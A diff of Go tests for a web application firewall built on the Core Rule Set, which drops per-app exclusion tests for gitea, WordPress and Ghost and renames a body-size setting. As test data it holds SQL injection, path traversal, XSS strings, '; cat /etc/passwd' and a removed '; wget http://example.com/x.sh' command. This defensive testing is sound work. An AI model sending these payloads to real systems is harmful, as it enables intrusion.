|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// five changes or an app's fixes are for, and still finds result in
|
// fifteen changes is for, and still finds result in refused, a request like
|
||||||
// refused, a request like it that they are not for.
|
// it that the change is not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
result coreruleset.Result,
|
result coreruleset.Result,
|
||||||
@@ -616,166 +613,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|||||||
matched(930120, 932160))
|
matched(930120, 932160))
|
||||||
}
|
}
|
||||||
|
|
||||||
// giteaFixed are gitea requests that only gitea's fixes let through, one
|
|
||||||
// for each kind of fix, each with what the Core Rule Set finds in it
|
|
||||||
// without them.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaFixed = []struct {
|
|
||||||
request request
|
|
||||||
result coreruleset.Result
|
|
||||||
}{
|
|
||||||
// A search of code, on the path of gitea's search.
|
|
||||||
{
|
|
||||||
get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"),
|
|
||||||
matched(942100),
|
|
||||||
},
|
|
||||||
// A file name, in a parameter gitea sends names in, on any path.
|
|
||||||
{get("/?path=.gitignore"), matched(930120)},
|
|
||||||
// A file name, in a cookie of gitea's.
|
|
||||||
{
|
|
||||||
get(
|
|
||||||
"/owner/repo",
|
|
||||||
"Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted",
|
|
||||||
),
|
|
||||||
matched(930120),
|
|
||||||
},
|
|
||||||
// A page opened from the page of a file named for a Java class.
|
|
||||||
{
|
|
||||||
get("/", "Referer: https://git.example/owner/repo/src/branch/main/"+
|
|
||||||
"java.lang.String.md"),
|
|
||||||
matched(944130),
|
|
||||||
},
|
|
||||||
// An image push that reuses a layer, naming the image the layer comes from.
|
|
||||||
{get("/v2/owner/app/blobs/uploads/?from=python3"), matched(932260)},
|
|
||||||
}
|
|
||||||
|
|
||||||
// The hostnames of the tests of SWW_WAF_APPS: the one that serves gitea, and
|
|
||||||
// one that serves another app.
|
|
||||||
const (
|
|
||||||
giteaHost = "git.example"
|
|
||||||
otherHost = "blog.example"
|
|
||||||
)
|
|
||||||
|
|
||||||
// gitea is gitea's name in SWW_WAF_APPS.
|
|
||||||
const gitea = "gitea"
|
|
||||||
|
|
||||||
// wordpress is WordPress's name in SWW_WAF_APPS.
|
|
||||||
const wordpress = "wordpress"
|
|
||||||
|
|
||||||
// withHost returns r sent to host.
|
|
||||||
func withHost(r request, host string) request {
|
|
||||||
return request{
|
|
||||||
r.method,
|
|
||||||
r.target,
|
|
||||||
append([]string{"Host: " + host}, r.headers...),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// servingApps returns the Core Rule Set at the defaults, with SWW_WAF_APPS
|
|
||||||
// giving apps.
|
|
||||||
func servingApps(
|
|
||||||
t *testing.T,
|
|
||||||
apps map[string][]string,
|
|
||||||
) *coreruleset.CoreRuleSet {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, nil)
|
|
||||||
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
for _, host := range []string{giteaHost, otherHost} {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(fixed.request, host),
|
|
||||||
coreruleset.Result{},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
|
||||||
|
|
||||||
// The hostname is matched without the port and without regard to case.
|
|
||||||
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(fixed.request, host),
|
|
||||||
coreruleset.Result{},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, apps := range []map[string][]string{
|
|
||||||
{giteaHost: {gitea}},
|
|
||||||
// SWW_WAF_APPS set empty lists no hostname.
|
|
||||||
{},
|
|
||||||
} {
|
|
||||||
crs := servingApps(t, apps)
|
|
||||||
|
|
||||||
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(fixed.request, host),
|
|
||||||
fixed.result,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {wordpress},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only WordPress's fixes let through.
|
|
||||||
search := get("/?s=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
|
|
||||||
|
|
||||||
// A file name that only gitea's fixes let through, and a search that only
|
|
||||||
// WordPress's fixes let through.
|
|
||||||
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(get(target), giteaHost),
|
|
||||||
coreruleset.Result{},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// withExclusions returns the Core Rule Set at the defaults, with the
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
||||||
// exclusions file at path.
|
// exclusions file at path.
|
||||||
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
||||||
@@ -915,19 +752,11 @@ const passwordKey = "password"
|
|||||||
// retypeKey is the field in which apps take the same password again.
|
// retypeKey is the field in which apps take the same password again.
|
||||||
const retypeKey = "retype"
|
const retypeKey = "retype"
|
||||||
|
|
||||||
// htaccess is the name of a web server's settings file, which the list of
|
|
||||||
// system files (930120) holds.
|
|
||||||
const htaccess = ".htaccess"
|
|
||||||
|
|
||||||
// binSh is the shell path /bin/sh as a query or form value, which the rule for
|
|
||||||
// shell paths (932160) refuses.
|
|
||||||
const binSh = "%2Fbin%2Fsh"
|
|
||||||
|
|
||||||
// hardValues are words that name commands and files, as a query or form
|
// hardValues are words that name commands and files, as a query or form
|
||||||
// value. An app's tests check that its fields let them through.
|
// value. An app's tests check that its fields let them through.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", htaccess}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||||
|
|
||||||
// randomPassword returns a password of 20 characters, each one of the 95
|
// randomPassword returns a password of 20 characters, each one of the 95
|
||||||
// printable ASCII characters, space included, drawn from random.
|
// printable ASCII characters, space included, drawn from random.
|
||||||
@@ -1093,8 +922,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|||||||
const workers, perBody = 16, 10
|
const workers, perBody = 16, 10
|
||||||
|
|
||||||
crs, err := loaderFor(coreruleset.Params{
|
crs, err := loaderFor(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
})()
|
})()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1171,18 +999,15 @@ func misfiringPasswords(t *testing.T) []string {
|
|||||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
misfiring := misfiringPasswords(t)
|
misfiring := misfiringPasswords(t)
|
||||||
names := []string{name}
|
names := []string{name}
|
||||||
|
|
||||||
body := passwordBody(t, r, names, misfiring...)
|
body := passwordBody(t, r, names, misfiring...)
|
||||||
if len(body) > bodyInspectionSize {
|
if len(body) > bodyLimit {
|
||||||
t.Fatalf(
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
"a body of %d bytes is cut at bodyInspectionSize",
|
|
||||||
len(body),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
@@ -1205,7 +1030,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|||||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||||
@@ -1225,7 +1050,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
|||||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||||
body := passwordBody(t, r, []string{name}, attack)
|
body := passwordBody(t, r, []string{name}, attack)
|
||||||
@@ -1315,15 +1140,14 @@ func TestGiteaPasswordsPass(t *testing.T) {
|
|||||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
// These fields skip the rules only when the query has no field of the
|
// These fields skip the rules only when the query has no field of the
|
||||||
// same name. An SQL injection in the query is refused. MediaWiki's
|
// same name. An SQL injection in the query is refused. MediaWiki's
|
||||||
// password and retype skip them only when authAction names their form,
|
// password and retype skip them only when authAction names their form,
|
||||||
// so its rows send that before the field. Ghost's rows name each field
|
// so its rows send that before the field.
|
||||||
// as Coraza names a field of a JSON body.
|
|
||||||
for _, sent := range []struct{ path, field string }{
|
for _, sent := range []struct{ path, field string }{
|
||||||
{nextcloudSignIn, passwordField},
|
{nextcloudSignIn, passwordField},
|
||||||
{mediawikiAPI, passwordField},
|
{mediawikiAPI, passwordField},
|
||||||
@@ -1346,14 +1170,6 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{"/settings/personal/changepassword", "newpassword="},
|
{"/settings/personal/changepassword", "newpassword="},
|
||||||
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
|
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
|
||||||
{"/admin", "token="},
|
{"/admin", "token="},
|
||||||
{ghostSession, "json.password="},
|
|
||||||
{"/ghost/api/admin/authentication/setup/", "json.setup.0.password="},
|
|
||||||
{"/ghost/api/admin/authentication/invitation/", "json.invitation.0.password="},
|
|
||||||
{
|
|
||||||
"/ghost/api/admin/authentication/password_reset/",
|
|
||||||
"json.password_reset.0.newPassword=",
|
|
||||||
},
|
|
||||||
{"/ghost/api/admin/users/password/", "json.password.0.oldPassword="},
|
|
||||||
} {
|
} {
|
||||||
r := request{
|
r := request{
|
||||||
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
|
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
|
||||||
@@ -1372,7 +1188,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -1408,7 +1224,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
|||||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -1427,13 +1243,11 @@ func TestGiteaAttacksAreRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// gitea has no owner named api, so these are not a repository's search,
|
// gitea has no owner named api, so these are not a repository's search,
|
||||||
// issues, pull requests or milestone page. /api/v2/search is Mastodon's
|
// issues or pull requests. /api/v2/search is Mastodon's search.
|
||||||
// search.
|
|
||||||
for _, path := range []string{
|
for _, path := range []string{
|
||||||
"/api/v2/search",
|
"/api/v2/search",
|
||||||
"/api/v2/issues",
|
"/api/v2/issues",
|
||||||
"/api/v2/pulls",
|
"/api/v2/pulls",
|
||||||
"/api/v2/milestone/1",
|
|
||||||
} {
|
} {
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
sqlInjection,
|
sqlInjection,
|
||||||
@@ -1488,7 +1302,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A command after a ";" in q is still refused on each of these paths.
|
// A command after a ";" in q is still refused on each of these paths.
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/alice?tab=repositories&q=",
|
"/alice?tab=repositories&q=",
|
||||||
@@ -1513,12 +1327,12 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
|
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
||||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
return shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1580,7 +1394,7 @@ func wordpressAttackTargets(attack string) []string {
|
|||||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
@@ -1665,7 +1479,7 @@ func wordpressWords() []struct {
|
|||||||
value string
|
value string
|
||||||
rule int
|
rule int
|
||||||
}{
|
}{
|
||||||
{htaccess, 930120},
|
{".htaccess", 930120},
|
||||||
{"powershell", 932120},
|
{"powershell", 932120},
|
||||||
{"ls -la", 932250},
|
{"ls -la", 932250},
|
||||||
{"python3", 932260},
|
{"python3", 932260},
|
||||||
@@ -2318,9 +2132,8 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|||||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
||||||
// tests that read bodies.
|
const bodyLimit = 8 << 10
|
||||||
const bodyInspectionSize = 8 << 10
|
|
||||||
|
|
||||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||||
const (
|
const (
|
||||||
@@ -2339,17 +2152,13 @@ const scriptTag = "<script>alert(1)</script>"
|
|||||||
// pathTraversal is a path traversal, not escaped.
|
// pathTraversal is a path traversal, not escaped.
|
||||||
const pathTraversal = "../../etc/passwd"
|
const pathTraversal = "../../etc/passwd"
|
||||||
|
|
||||||
// shellCommand is commandInjection, not escaped.
|
|
||||||
const shellCommand = "; wget http://example.com/x.sh"
|
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyInspectionSize.
|
// default, but reading bodies up to bodyLimit.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
return shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2403,7 +2212,7 @@ func wantBody(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
|
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
off, on := atDefaults(t), readingBodies(t)
|
off, on := atDefaults(t), readingBodies(t)
|
||||||
@@ -2423,7 +2232,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
pad := strings.Repeat("a", bodyInspectionSize)
|
pad := strings.Repeat("a", bodyLimit)
|
||||||
|
|
||||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||||
{
|
{
|
||||||
@@ -2436,20 +2245,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||||
tc.attackFirst[:bodyInspectionSize+1])
|
tc.attackFirst[:bodyLimit+1])
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
post(tc.header),
|
post(tc.header),
|
||||||
tc.attackLast,
|
tc.attackLast,
|
||||||
coreruleset.Result{},
|
coreruleset.Result{},
|
||||||
tc.attackLast[:bodyInspectionSize+1],
|
tc.attackLast[:bodyLimit+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// To the byte: a system file's path is found when it ends at the limit,
|
// To the byte: a system file's path is found when it ends at the limit,
|
||||||
// and not when its last letter is past it, which is still read.
|
// and not when its last letter is past it, which is still read.
|
||||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2459,7 +2268,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
atLimit,
|
atLimit,
|
||||||
)
|
)
|
||||||
|
|
||||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2479,10 +2288,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
|||||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||||
} {
|
} {
|
||||||
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||||
|
|
||||||
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2539,7 +2348,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
|||||||
|
|
||||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||||
// Content-Encoding on it is refused all the same.
|
// Content-Encoding on it is refused all the same.
|
||||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
larger := strings.Repeat("a", bodyLimit+1)
|
||||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||||
|
|
||||||
// It is allowed on a body of any other kind, and on every body while no
|
// It is allowed on a body of any other kind, and on every body while no
|
||||||
@@ -2612,222 +2421,6 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// nameInBody is a name gitea or Forgejo sends in field of a body to path.
|
|
||||||
// contentType is formData or jsonBody.
|
|
||||||
type nameInBody struct{ path, contentType, field, name string }
|
|
||||||
|
|
||||||
// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
|
|
||||||
// skips the rules that refused them there: a file's path or text, a commit's
|
|
||||||
// summary or message, and the branch names of giteaBranchNamesInBodies.
|
|
||||||
func giteaNamesInBodies() []nameInBody {
|
|
||||||
const (
|
|
||||||
repo = "/alice/tools"
|
|
||||||
api = "/api/v1/repos/alice/tools"
|
|
||||||
|
|
||||||
// Fields that several paths send.
|
|
||||||
treePath = "tree_path"
|
|
||||||
commitSummary = "commit_summary"
|
|
||||||
message = "message"
|
|
||||||
)
|
|
||||||
|
|
||||||
// A file's path or text, or a commit's summary or message.
|
|
||||||
texts := []nameInBody{
|
|
||||||
{
|
|
||||||
repo + "/_edit/main/compose.yml",
|
|
||||||
formData,
|
|
||||||
treePath,
|
|
||||||
"docker-compose.yml",
|
|
||||||
},
|
|
||||||
{repo + "/_edit/main/.htaccess", formData, treePath, htaccess},
|
|
||||||
{
|
|
||||||
repo + "/_edit/main/scripts/install-script.sh", formData,
|
|
||||||
treePath, "scripts/install-script.sh",
|
|
||||||
},
|
|
||||||
{repo + "/_new/main/", formData, treePath, "docs/python3-setup.md"},
|
|
||||||
{
|
|
||||||
repo + "/_delete/main/.htaccess",
|
|
||||||
formData,
|
|
||||||
commitSummary,
|
|
||||||
"Remove .htaccess",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
repo + "/_new/main/",
|
|
||||||
formData,
|
|
||||||
"content",
|
|
||||||
"# Setup\r\n\r\nInstall the tools.\r\n",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
repo + "/_preview/main/docs/setup.md",
|
|
||||||
formData,
|
|
||||||
"content",
|
|
||||||
"# Setup\r\n\r\nInstall the tools.\r\n",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
repo + "/_upload/main/scripts/powershell",
|
|
||||||
formData,
|
|
||||||
treePath,
|
|
||||||
"scripts/powershell",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
repo + "/_upload/main/scripts/powershell", formData,
|
|
||||||
commitSummary, "Add a PowerShell build script",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
repo + "/_cherrypick/6b02ec9/main",
|
|
||||||
formData,
|
|
||||||
commitSummary,
|
|
||||||
"Document .htaccess",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
api + "/contents/scripts/powershell-build.ps1", jsonBody,
|
|
||||||
message, "Add a PowerShell build script",
|
|
||||||
},
|
|
||||||
{api + "/contents/.htaccess", jsonBody, message, "Remove .htaccess"},
|
|
||||||
{
|
|
||||||
api + "/contents",
|
|
||||||
jsonBody,
|
|
||||||
message,
|
|
||||||
"Add the PowerShell setup notes",
|
|
||||||
},
|
|
||||||
{api + "/contents", jsonBody, message, "Document .htaccess"},
|
|
||||||
}
|
|
||||||
|
|
||||||
return slices.Concat(texts, giteaBranchNamesInBodies())
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaBranchNamesInBodies returns the branch names gitea and Forgejo send in
|
|
||||||
// a body field that skips the rules that refused them there. Each field comes
|
|
||||||
// with a name for each rule it skips: feat/docker-support for the command
|
|
||||||
// names (932260), and fix-powershell-module for the Windows commands (932120).
|
|
||||||
func giteaBranchNamesInBodies() []nameInBody {
|
|
||||||
const (
|
|
||||||
repo = "/alice/tools"
|
|
||||||
api = "/api/v1/repos/alice/tools"
|
|
||||||
|
|
||||||
// Fields that several paths send.
|
|
||||||
branch = "branch"
|
|
||||||
newBranchName = "new_branch_name"
|
|
||||||
)
|
|
||||||
|
|
||||||
branchFields := []struct{ path, contentType, field string }{
|
|
||||||
{repo + "/_edit/main/compose.yml", formData, newBranchName},
|
|
||||||
{repo + "/_new/main/", formData, newBranchName},
|
|
||||||
{repo + "/_delete/main/.htaccess", formData, newBranchName},
|
|
||||||
{repo + "/_upload/main/docs", formData, newBranchName},
|
|
||||||
{repo + "/_diffpatch/main/", formData, newBranchName},
|
|
||||||
{repo + "/_cherrypick/6b02ec9/main", formData, newBranchName},
|
|
||||||
{repo + "/branches/_new/branch/main", formData, newBranchName},
|
|
||||||
{repo + "/branches/rename", formData, "from"},
|
|
||||||
{repo + "/branches/rename", formData, "to"},
|
|
||||||
// Forgejo's path for renaming a branch.
|
|
||||||
{repo + "/settings/rename_branch", formData, "from"},
|
|
||||||
{repo + "/settings/rename_branch", formData, "to"},
|
|
||||||
{api + "/branches", jsonBody, newBranchName},
|
|
||||||
{api + "/branches", jsonBody, "old_branch_name"},
|
|
||||||
{api + "/branches", jsonBody, "old_ref_name"},
|
|
||||||
{api + "/pulls", jsonBody, "head"},
|
|
||||||
{api + "/pulls", jsonBody, "base"},
|
|
||||||
